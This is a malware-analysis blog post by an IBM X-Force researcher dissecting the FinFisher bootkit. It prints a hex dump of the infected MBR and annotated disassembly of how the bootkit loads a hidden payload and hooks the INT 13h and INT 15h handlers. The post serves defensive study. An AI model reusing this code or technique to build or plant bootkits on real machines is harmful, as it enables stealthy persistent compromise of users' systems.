Analysis of FinFisher Bootkit

October 20, 2014
| |
9 min read

We recently investigated the FinFisher bootkit malware published by WikiLeaks. Most components of the Windows version of FinFisher are basic, so let’s skip directly to the kernel mode driver and the Bootstrap code.

The kernel mode driver directly reads and writes raw data from/onto a hard drive. The approximation of the technique used by the driver can be found in this article.

The malware makes a copy of the original master boot record (MBR) and stores it elsewhere on the hard drive. Additionally, the malware writes 0x2A00 bytes of data onto the infected hard drive. This data is later copied by the malicious Bootstrap code. The address of the first sector containing this data is hard-coded into the bootstrap code. The malware uses Logical Block Addressing (LBA) to find a physical location of the malicious data on the hard drive.

On the test machine, the MBR was overwritten with the following data:

	f9fef780 fa 31 c0 8e c0 8e d8 8e d0 bc fc ff fb 88 16 34  .1.............4
	f9fef790 7c 68 00 00 68 37 7c cb 18 a7 3f 01 00 00 00 00  |h..h7|...?.....
	f9fef7a0 15 00 00 00 2e a7 3f 01 00 00 00 00 89 c0 89 c9  ......?.........
	f9fef7b0 89 d2 31 02 00 00 00 b4 41 bb aa 55 cd 13 72 11  ..1.....A..U..r.
	f9fef7c0 81 fb 55 aa 75 0b f7 c1 01 00 74 05 c6 06 36 7c  ..U.u.....t...6|
	f9fef7d0 01 8a 16 34 7c b4 08 cd 13 88 c8 24 3f a2 c2 7c  ...4|......$?..|
	f9fef7e0 88 e8 88 cc c0 ec 06 40 a3 c3 7c 30 f6 fe c2 89  [email protected]|0....
	f9fef7f0 16 c5 7c 66 8b 0e 18 7c 66 8b 16 1c 7c b8 00 01  ..|f...|f...|...
	f9fef800 2d 20 00 8e c0 66 31 db 66 51 8c c0 05 20 00 8e  - ...f1.fQ... ..
	f9fef810 c0 80 3e 36 7c 01 74 06 e8 62 00 e9 03 00 e8 36  ..>6|.t..b.....6
	f9fef820 00 66 59 66 81 c1 01 00 00 00 66 81 d2 00 00 00  .fYf......f.....
	f9fef830 00 66 ff 0e 20 7c 75 d0 8a 16 34 7c ea 00 10 00  .f.. |u...4|....
	f9fef840 00 00 00 00 00 00 00 10 00 01 00 00 00 00 00 00  ................
	f9fef850 00 00 00 00 00 00 00 8c c0 a3 cd 7c 89 1e cb 7c  ...........|...|
	f9fef860 66 89 0e cf 7c 66 89 16 d3 7c 66 52 66 31 d2 8a  f...|f...|fRf1..
	f9fef870 16 34 7c be c7 7c b4 42 cd 13 66 5a c3 66 52 66  .4|..|.B..fZ.fRf
	f9fef880 53 66 89 c8 66 31 d2 66 31 db 8a 1e c2 7c 66 f7  Sf..f1.f1....|f.
	f9fef890 f3 66 42 88 16 c1 7c 66 31 d2 66 31 db 8b 1e c5  .fB...|f1.f1....
	f9fef8a0 7c 66 f7 f3 8a 0e c1 7c 88 c5 88 d6 66 5b 8a 16  |f.....|....f[..
	f9fef8b0 34 7c b8 01 02 cd 13 66 5a c3 00 00 00 00 00 00  4|.....fZ.......
	f9fef8c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	f9fef8d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	f9fef8e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	f9fef8f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	f9fef900 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	f9fef910 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	f9fef920 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	f9fef930 00 00 00 00 00 00 00 00 65 f7 65 f7 00 00 80 01  ........e.e.....
	f9fef940 01 00 07 fe ff ff 3f 00 00 00 d9 a6 3f 01 00 00  ......?.....?...
	f9fef950 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	f9fef960 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	f9fef970 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa  ..............U.

By quickly glancing over the data, we can make our first observation that the Bootstrap code is changed by the malware, but the partition table information is preserved.

Malicious Bootstrap Code Analysis

Let’s review in more detail the most interesting parts of the Bootstrap code. First, it performs an Extended Disk Drive (EDD) installation check:

seg000:0037 B4 41                                   mov     ah, 41h ; 'A'
seg000:0039 BB AA 55                                mov     bx, 55AAh
seg000:003C CD 13                                   int     13h    

The malware sets a flag that indicates whether EDD is installed. This flag controls the method used by the malware to read data from a hard drive into the physical memory:

seg000:004C C6 06 36 7C 01                          mov     byte ptr ds:if_edd_installed, 1   ;7C36h

Next, the malware gets drive parameters:

seg000:0051 8A 16 34 7C                             mov     dl, ds:7C34h	;drive number, first drive is 0x80
seg000:0055 B4 08                                   mov     ah, 8
seg000:0057 CD 13                                   int     13h

At this moment, the malware has gathered enough information to copy the malicious blob of 0x2A00 bytes from a hard drive into the physical memory. The blob of data is copied one sector at a time. The code below is the loop that is used by the malware to copy the blob:

seg000:0091 80 3E 36 7C 01                          cmp     byte ptr ds:if_edd_installed, 1
seg000:0096 74 06                                   jz      short loc_9E
seg000:0098 E8 62 00                                call    read_data_method_no_edd_installed
seg000:009B E9 03 00                                jmp     loc_A1
seg000:009E                         ; ---------------------------------------------------------------------------
seg000:009E
seg000:009E                         loc_9E:                                
seg000:009E E8 36 00                                call    read_data_method_edd_installed
seg000:00A1
seg000:00A1                         loc_A1:                                 
seg000:00A1 66 59                                   pop     ecx
seg000:00A3 66 81 C1 01 00 00 00                    add     ecx, 1
seg000:00AA 66 81 D2 00 00 00 00                    adc     edx, 0
seg000:00B1 66 FF 0E 20 7C                          dec     dword ptr ds:7C20h	;0x0015
seg000:00B6 75 D0                                   jnz     short loc_88

Below is code for the function that is used to copy the data if EDD is installed:

BOOT_SECTOR:7CD7 8C C0                                   mov     ax, es
BOOT_SECTOR:7CD9 A3 CD 7C                                mov     word_7CCD, ax
BOOT_SECTOR:7CDC 89 1E CB 7C                             mov     word_7CCB, bx
BOOT_SECTOR:7CE0 66 89 0E CF 7C                          mov     dword_7CCF, ecx
BOOT_SECTOR:7CE5 66 89 16 D3 7C                          mov     dword_7CD3, edx
BOOT_SECTOR:7CEA 66 52                                   push    edx
BOOT_SECTOR:7CEC 66 31 D2                                xor     edx, edx
BOOT_SECTOR:7CEF 8A 16 34 7C                             mov     dl, byte_7C34
BOOT_SECTOR:7CF3 BE C7 7C                                mov     si, 7CC7h			
BOOT_SECTOR:7CF6 B4 42                                   mov     ah, 42h ; 'B'
BOOT_SECTOR:7CF8 CD 13                                   int     13h             
	; DISK - IBM/MS Extension - EXTENDED READ (DL - drive, DS:SI - disk address packet)

For this example, the arguments before the call to INT 13h to copy the first sector of malicious data into the physical memory on the test machine are the following:

	0x0000000000007cc7 <bogus+       0>:    0x0010  0x0001  0x0000  0x0100  0xa718  0x013f  
												 0x0000  0x0000
	+0: 0x10		- packet size
	+2: 0x1 		- number of sectors 
	+4: 0x0000  	- offset 
	+6: 0x1000		- segment
	+8: 0x013fa718	- LBA

After the malware finishes copying the data, it jumps to the copied code and continues execution there:

seg000:00B8 8A 16 34 7C                             mov     dl, ds:7C34h		;0x0000
seg000:00BC EA 00 10 00 00                          jmp     far ptr 0:1000h

The code at 0x1000 is the most interesting part of the malware. But before we continue the analysis, it might be a helpful reminder that the FinFisher bootkit runs in real mode. This is different from protected mode. One of the differences is that we would have to calculate physical addresses using combinations of es:di and ds:si registers.

The formula to calculate the physical addresses is (segment * 0x10) + offset. For example, if we are looking on the es:di pair, then es is our segment and di is our offset. All the addresses below are calculated using the formula above.

Now, let’s take a closer look at the most interesting parts of the code. First, the malware calculates the address of the segment where it will copy the data (this is going to be the second time the blob of data is going to be copied):

seg000:0024 88 16 1B 00                             mov     ds:1Bh, dl
seg000:0028 BE 13 04                                mov     si, 413h
seg000:002B 26 8B 04                                mov     ax, es:[si]
seg000:002E 66 0F B7 C0                             movzx   eax, ax
seg000:0032 66 C1 E0 0A                             shl     eax, 0Ah
seg000:0036 66 2D C2 28 00 00                       sub     eax, 28C2h
	;before the segment address is stored:
	;<bochs:148> x /1hw 0x101c
	;[bochs]:0x000000000000101c <bogus+       0>:    0x00000000
seg000:003C 66 A3 1C 00                             mov     ds:1Ch, eax
	;ds = 0x0100, ds:1ch = hex((0x0100* 0x10) + 0x1c) = 0x101c
	;after the segment address is stored:
	;<bochs:150> x /1hw 0x101c
	;[bochs]:0x000000000000101c <bogus+       0>:    0x0009d33e

Next, the malware installs hooks for the INT 13h and INT 15h handlers. As can be seen from the code below, the malware offers no new ideas on how to hook the low-level interrupt handlers:

seg000:0040 66 50                                   push    eax
seg000:0042 66 C1 E8 0A                             shr     eax, 0Ah
seg000:0046 26 89 04                                mov     es:[si], ax
	;es=0x0000, si = 0x0413
	;before:
	<bochs:156> x /1hw 0x413
	[bochs]:
	0x0000000000000413 <bogus+       0>:    0x0000027f

	;after:
	;<bochs:158> x /1hw 0x413
	[bochs]:
	0x0000000000000413 <bogus+       0>:    0x00000274

seg000:0049 66 58                                   pop     eax
seg000:004B
seg000:004B                         loc_4B:                                 
seg000:004B                                                                 
seg000:004B 66 C1 E8 04                             shr     eax, 4
seg000:004F A3 22 00                                mov     ds:22h, ax	
	;ax = 0x9d33
	;after:
	;<bochs:167> x /1hh 0x1022
	[bochs]:
	0x0000000000001022 <bogus+       0>:    0x9d33	
	
seg000:0052 FA                                      cli
seg000:0053                         loc_53:                                 
seg000:0053 8C D8                                   mov     ax, ds
seg000:0055 8E C0                                   mov     es, ax
seg000:0057 66 B8 20 E8 00 00                       mov     eax, 0E820h		
	;get system memory map	
seg000:005D 66 BA 50 41 4D 53                       mov     edx, 534D4150h 	;"SMAP"
seg000:0063 66 31 DB                                xor     ebx, ebx		
	;start at the beginning of the map.
seg000:0066 66 31 FF                                xor     edi, edi		
seg000:0069 BF 26 01                                mov     di, 126h		
	;es:di buffer that gets the result.
	;es = 0x100, di = 0x0126
seg000:006C 26 66 C7 45 14 01 00 00+                mov     dword ptr es:[di+14h], 1
seg000:0075 66 B9 18 00 00 00                       mov     ecx, 18h		
	;size of the buffer.
seg000:007B CD 15                                   int     15h             
	;BIOS Memory Services

seg000:007D 72 34                                   jb      short loc_B3	
seg000:007F 66 3D 50 41 4D 53                       cmp     eax, 534D4150h	
	;check if "SMAP"
seg000:0085 75 2C                                   jnz     short loc_B3
seg000:0087 66 85 DB                                test    ebx, ebx
seg000:008A 74 27                                   jz      short loc_B3
seg000:008C                                         db      3Eh
seg000:008C 3E 66 89 1E F2 02                       mov     ds:2F2h, ebx	
	;holds continuation value
	;ds = 0x100, physical address 0x12f2
seg000:0092 66 31 C0                                xor     eax, eax
seg000:0095 8E C0                                   mov     es, ax
seg000:0097                                         assume es:nothing
seg000:0097 26 66 A1 54 00                          mov     eax, dword ptr es:int_15_h 		;IVTABLE:0054
seg000:009C                                         db      3Eh
	;debug001:12EE 00 00 00 00             dword_12EE dd 0                         
	;debug001:12F2 01 00 00 00             dword_12F2 dd 1                
seg000:009C 3E 66 A3 EE 02                          mov     ds:2EEh, eax
	;debug001:12EE 59 F8 00 F0             dword_12EE dd 0F000F859h                
	;debug001:12F2 01 00 00 00             dword_12F2 dd 1       
seg000:00A1 A1 22 00                                mov     ax, ds:22h				;segment_hook
	;previously calculated value 0x9d33
seg000:00A4 66 C1 E0 10                             shl     eax, 10h
seg000:00A8 66 05 42 01 00 00                       add     eax, 142h
	;before hook is installed:
	IVTABLE:004C FE E3 00 F0             dword_4C dd 0F000E3FEh                  
	IVTABLE:004C                                                                 
	IVTABLE:0050 39 E7                   word_50 dw 0E739h                       
	IVTABLE:0052 00 F0                   word_52 dw 0F000h                       
	IVTABLE:0054 59 F8 00 F0             dword_54 dd 0F000F859h                  
	IVTABLE:0054      
seg000:00AE 26 66 A3 54 00               			mov     dword ptr es:int_15_h, eax			;hooks INT15h 
	;<bochs:206> x /1hw 0x54
	[bochs]:
	0x0000000000000054 <bogus+       0>:    0x9d330142
	
	;IVTABLE:0054 42 01                   word_54 dw 142h                        ;offset
	;IVTABLE:0056 33 9D                   dw 9D33h								 ;segment 

seg000:00B3                         loc_B3:                                                                                              
seg000:00B3 66 31 C0                                xor     eax, eax
seg000:00B6 8E C0                                   mov     es, ax
seg000:00B8 26 66 A1 4C 00                          mov     eax, dword ptr es:int_13_h	
	;before:
	;debug001:11D4 00 00 00 00             int_13_original dd 0   
	;after:
	;debug001:11D4 FE E3 00 F0             int_13_original dd 0F000E3FEh
seg000:00BD                                         db      3Eh
seg000:00BD 3E 66 A3 D4 01                          mov     ds:1D4h, eax
	;debug001:11CC FE E3 00 F0             int_13_original_1 dd 0F000E3FEh
seg000:00C2 3E 66 A3 CC 01                          mov     ds:1CCh, eax
seg000:00C7 A1 22 00                                mov     ax, ds:22h
	;0x9d33
seg000:00CA 66 C1 E0 10                             shl     eax, 10h
seg000:00CE                                         db      3Eh
seg000:00CE 3E 66 A3 51 02                          mov     ds:251h, eax
	;before:
	;debug001:1251 00 00 00 00             hook_segment dd 0 
	;after:
	;debug001:1251 00 00 33 9D             hook_segment dd 9D330000h
seg000:00D3 66 05 12 01 00 00                       add     eax, 112h
seg000:00D9 26 66 A3 4C 00                          mov     dword ptr es:loc_4B+1, eax		;hooks INT13h
	;es = 0x00 eax = 0x112
	
	;IVT after both INT 13h and INT 15h hooks are installed:
	IVTABLE:004C 12 01                   int_13_h dw 112h                       ; offset
	IVTABLE:004E 33 9D                   dw 9D33h								 ; segment
	IVTABLE:0050 39 E7                   word_50 dw 0E739h                       
	IVTABLE:0052 00 F0                   word_52 dw 0F000h                       
	IVTABLE:0054 42 01                   int_15_h dw 142h                        ; offset
	IVTABLE:0056 33 9D                   dw 9D33h								 ; segment

At this point, hooks are installed for INT 13h and INT 15h, but the code for the functions that hooks INTs is yet to be copied to the calculated segment. The obvious next step for the malware is to copy the code for the hooked handlers:

seg000:00DE A1 22 00                                mov     ax, ds:22h
seg000:00E1 8E C0                                   mov     es, ax
seg000:00E3 31 FF                                   xor     di, di
seg000:00E5 B9 C2 28                                mov     cx, 28C2h
seg000:00E8 FC                                      cld
seg000:00E9 BE 3E 01                                mov     si, 13Eh
seg000:00EC F3 A4                                   rep movsb
	;si = 0x013e - source of the data to be copied.
	;di = 0x0000 - destination
	;cx = 0x28c2 - number of bytes to be copied.
	;ds = 0x0100, es = 0x9d33
	;the actual physical addresses of the source is ds:[si] = 
	;hex((0x0100 * 0x10) + 0x13e) = 0x113e 
	;the physical address of the destination is es:[di] = 
	;hex((0x9dd3 * 0x10) + 0x0000) = 0x9dd30
	
	;copies all the data copied in the first stage except for the first 0x13e bytes.
	;hex(0x2a00-0x28c2) = 0x13e

At this point, the malware is ready to return the control to the original MBR, but first, it needs to restore the original MBR to the 0x7C00 (the sector that holds the copy of the original MBR is stored elsewhere on the hard drive), and then it passes an execution to the original MBR:

seg000:00EE FB                                      sti
seg000:00EF 66 8B 0E 13 00                          mov     ecx, ds:13h
seg000:00F4 66 8B 16 17 00                          mov     edx, ds:17h
seg000:00F9 66 89 0E 1E 01                          mov     ds:11Eh, ecx
seg000:00FE 66 89 16 22 01                          mov     ds:122h, edx
seg000:0103 BE 16 01                                mov     si, 116h		;buffer
	;ds = 0x0100, address 0x1116
seg000:0106 BB AA 55                                mov     bx, 55AAh
seg000:0109 8A 16 1B 00                             mov     dl, ds:1Bh		;drive number here 0x80
seg000:010D B4 42                                   mov     ah, 42h ; 'B'
seg000:010F CD 13                                   int     13h             
	;DISK - IBM/MS Extension - EXTENDED READ (DL - drive, DS:SI - disk address packet)
	;INT 13h is hooked now
	;debug003:0112 EA 00 00 33 9D          jmp     far ptr loc_9D330

	;<bochs:267> x /10hh 0x1116
	[bochs]:
	0x0000000000001116 <bogus+       0>:    0x0010  0x0001  0x7c00  0x0000  0xa72d  0x013f  0x
	0000    0x0000
	0x0000000000001126 <bogus+      16>:    0x0000  0x0000
	
	size of the packet 0x0010
	number of blocks to transfer = 0x0001
	destination 0x7c00
	LBA: 0x013fa7d2

	;Jumps to the original MBR here:
	
seg000:0111 EA 00 7C 00 00                          jmp     far ptr 0:7C00h

What Can We Learn From the FinFisher Bootkit?

The given sample for the FinFisher bootkit does not provide any new techniques or improvements over other bootkits. The malware writers decided to install hooks for INT 13h and INT 15h handlers before the code for these handlers was copied into the memory; this can be a recipe for disaster. For example, if the code for hooked handler functions would fail to copy, this might cause the system to crash.

I’d like to give special thanks to Doug Franklin, Mark Vincent Yason and Robert Freeman.

Tags: 
 |  |  | 
Igor Aronov
X-Force Advanced Researcher

Igor Aronov is a member of the IBM X-Force Advanced Research Team. After graduating from NYU-POLY he went to work for the US government. His main areas of in...
read more